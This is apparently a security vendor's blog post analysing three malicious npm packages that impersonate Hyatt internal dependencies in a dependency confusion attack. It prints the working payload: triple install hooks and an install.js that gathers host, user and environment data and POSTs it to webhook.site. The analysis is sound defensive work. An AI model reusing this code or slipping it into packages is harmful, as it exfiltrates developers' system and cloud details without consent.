
Contributing to SafeDep Open Source Projects during Hacktoberfest 2025
Learn how to contribute to SafeDep open source projects during Hacktoberfest 2025 and help secure the open source software supply chain.
Three malicious npm packages disguised as Hyatt internal dependencies were discovered on the npm registry, all published on October 23, 2025. The packages hyatt-residential-roster
, hyatt-album
, and hyatt-avatar
share identical attack patterns and infrastructure, suggesting a coordinated campaign targeting internal applications at Hyatt.
All three packages use the suspicious version number 999.999.999
, execute identical install hooks across all three npm lifecycle events (preinstall, install, postinstall), and claim to be published by “Hyatt IT Security Research”, a likely impersonation tactic to appear legitimate.
Note: High version numbers such as 999.999.999
are typically used for exploiting Dependency Confusion vulnerabilities.
Package Name | Version | SafeDep Analysis |
---|---|---|
hyatt-residential-roster | 999.999.999 | Link |
hyatt-album | 999.999.999 | Link |
hyatt-avatar | 999.999.999 | Link |
All three packages share the following suspicious indicators:
999.999.999
- typically used for testing or placeholder purposesnode install.js
during preinstall
, install
, and postinstall
lifecycle eventspkgpusher6
([email protected]
)Unlike many malicious packages that use post-install hooks exclusively, this campaign employs a triple-hook strategy:
{ "scripts": { "preinstall": "node install.js", "install": "node install.js", "postinstall": "node install.js" }}
This ensures the malicious payload executes at multiple points during the installation process, increasing the likelihood of successful compromise even if developers attempt to skip certain lifecycle hooks.
Each package contains three files with the following structure:
package.json - Defines the triple install hook strategy:
{ "name": "hyatt-album", "version": "999.999.999", "description": "Hyatt album management system - Internal dependency", "main": "index.js", "scripts": { "install": "node install.js", "postinstall": "node install.js", "preinstall": "node install.js" }, "keywords": ["hyatt", "album", "media", "internal"], "author": "Hyatt IT Security Research", "license": "ISC"}
index.js - Minimal stub file (~67-80 bytes) that provides no actual functionality, serving only to make the package appear legitimate:
module.exports = function() { console.log("Hyatt Album loaded"); };
install.js - The malicious payload (~823-836 bytes) that executes during installation:
const os = require('os');const { execSync } = require('child_process');const https = require('https');
console.log('🏨 Hyatt Residential Roster Loading...');
const data = { package: 'hyatt-album', timestamp: new Date().toISOString(), hostname: os.hostname(), platform: os.platform(), uptime: Math.floor(os.uptime()), user: os.userInfo(), env: { hyatt_vars: Object.keys(process.env).filter(k => k.toLowerCase().includes('hyatt')), node_env: process.env.NODE_ENV, kubernetes: process.env.KUBERNETES_SERVICE_HOST, aws_region: process.env.AWS_REGION, npm_registry: process.env.npm_config_registry }};
const req = https.request('https://webhook.site/hyatt', { method: 'POST', headers: { 'Content-Type': 'application/json' }});req.write(JSON.stringify(data, null, 2));req.end();
The code performs the following malicious actions:
os
, child_process
, https
os
module methodshyatt
https://webhook.site/hyatt
All three packages contain code that collects system information and exfiltrates it to https://webhook.site/hyatt
to identify the infrastructure the application is running on. The collected data includes:
os.userInfo()
NODE_ENV
KUBERNETES_SERVICE_HOST
(Kubernetes deployments)AWS_REGION
(AWS cloud environments)npm_config_registry
(npm configuration)The exfiltration occurs via HTTPS POST request to webhook.site
, which is a public service often used for testing webhooks, making it convenient for attackers to collect data without setting up their own infrastructure.
This coordinated campaign of three malicious npm packages demonstrates a common approach to dependency confusion attacks through corporate package impersonation. Analysis of the data exfiltration patterns reveals a targeted focus on specific infrastructure indicators rather than comprehensive credential harvesting, suggesting this may represent a penetration testing exercise specific to Hyatt.
The exfiltrated data is notably limited in scope, collecting only:
KUBERNETES_SERVICE_HOST
- indicating Kubernetes deployment environmentsAWS_REGION
- identifying AWS cloud infrastructure presencenpm_config_registry
- revealing npm registry configurationhyatt
Stay Protected: Learn more about SafeDep’s malicious package detection at safedep.io or try our free tool vet today.
safedep.io
Follow for the latest updates and insights on open source security & engineering
Learn how to contribute to SafeDep open source projects during Hacktoberfest 2025 and help secure the open source software supply chain.
The Shai-Hulud supply chain attack is a major incident targeting developers through malicious packages in the npm ecosystem. This post outlines the incident response steps that can be taken to...
SafeDep launches a GitHub App for zero-configuration protection against malicious open source packages. Instantly scan pull requests and keep your code repositories safe from supply chain attacks.
Diff-based Software Composition Analysis (SCA) scanners in pull requests are prone to blind spots. By relying only on git diff data, they miss package context, suffer from nondeterministic...
Install the SafeDep GitHub App to keep malicious packages out of your repos.